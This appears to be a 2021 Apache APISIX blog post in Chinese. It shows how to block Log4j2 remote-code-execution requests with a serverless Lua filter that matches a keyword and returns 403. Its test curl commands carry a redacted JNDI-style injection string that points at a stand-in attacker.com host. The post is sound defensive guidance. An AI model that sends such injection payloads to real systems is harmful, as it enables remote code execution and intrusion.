使用 Apache APISIX serverless 能力快速攔截 Apache Log4j2 的高危漏洞

Apache_APISIX發表於2021-12-14

近日網路上曝光了 Apache Log4j2 的遠端程式碼執行漏洞。該漏洞在 Apache Log4j2 的開發團隊完全修復之前提前曝光,導致在野利用,使用 Log4j2 的 2.x 至 2.14.1 的版本的專案均有被攻擊風險。

漏洞利用分析

從該漏洞復現過程我們可以分析出,利用該漏洞的關鍵步驟是構造惡意的 payload,類似於

{xxxxx//attacker.com/a}

在官方釋出完全修復版本以及當前環境升至修復版本之前,需要一種臨時措施來攔截攜帶改惡意負載的請求,保護服務不受該漏洞的在野攻擊。

Apache APISIX 應對措施

我們可以在 Apache APISIX 上過濾請求負載,用正則匹配惡意的 payload 的關鍵詞,並對其進行攔截。

假設 payload 的關鍵字為 "xxxxx",可以用 serverless 外掛執行自定義攔截指令碼,配置示例如下:

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
    "uri": "/*",
    "plugins":{
        "serverless-pre-function":{
            "phase":"rewrite",
            "functions":[
                "return function(conf, ctx) local core = require(\"apisix.core\"); local payload, err = core.request.get_body(); if not payload then local uri_args, err = core.request.get_uri_args(ctx)\n if uri_args then payload = core.json.encode(uri_args, true) end; end; local m = ngx.re.match(payload, \"xxxxx\", \"jo\"); if m then ngx.exit(403) end; end"
            ]
        }
    },
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "127.0.0.1:1980": 1
        }
    }
}'

注意:上述配置中 serverless-pre-function 相關的配置是自定義指令碼部分。其他配置為 Apache APISIX 常規配置,請根據實際情況調整。

上述 functions 欄位對應的指令碼中主要做了以下事情

  1. 提取請求負載(包括 GET 請求的 URL 傳參方式和 POST/PUT 請求體傳參方式)
  2. 正則匹配惡意負載
  3. 攔截攜帶惡意負載的請求

該指令碼提供了處理此類惡意負載請求的實現思路,主要是進行捕獲攻擊特徵,比如 jndi 關鍵字等。大家可以根據自己的需求,對該指令碼進行完善或者優化。

驗證

攔截在 GET 請求引數中攜帶惡意負載

curl -I 'http://127.0.0.1:9080/hello?foo=${xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

攔截在 POST 請求體 (application/json) 中攜帶惡意負載

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/json' -X POST -d '
{
  "foo": "${xxxxx//attacker.com/a}"
}'
HTTP/1.1 403 Forbidden
……

攔截在 POST 請求體 (text/plain) 中攜帶惡意負載

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: text/plain' -X POST -d '
{xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

攔截在 POST 請求體 (application/x-www-form-urlencoded,不對請求體進行 URL 編碼) 中攜帶惡意負載

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '
foo=${xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

關於 Apache APISIX

Apache APISIX 是一個動態、實時、高效能的開源 API 閘道器,提供負載均衡、動態上游、灰度釋出、服務熔斷、身份認證、可觀測性等豐富的流量管理功能。Apache APISIX 可以幫助企業快速、安全地處理 API 和微服務流量,包括閘道器、Kubernetes Ingress 和服務網格等。

Apache APISIX 落地使用者(僅部分)

圖片

相關文章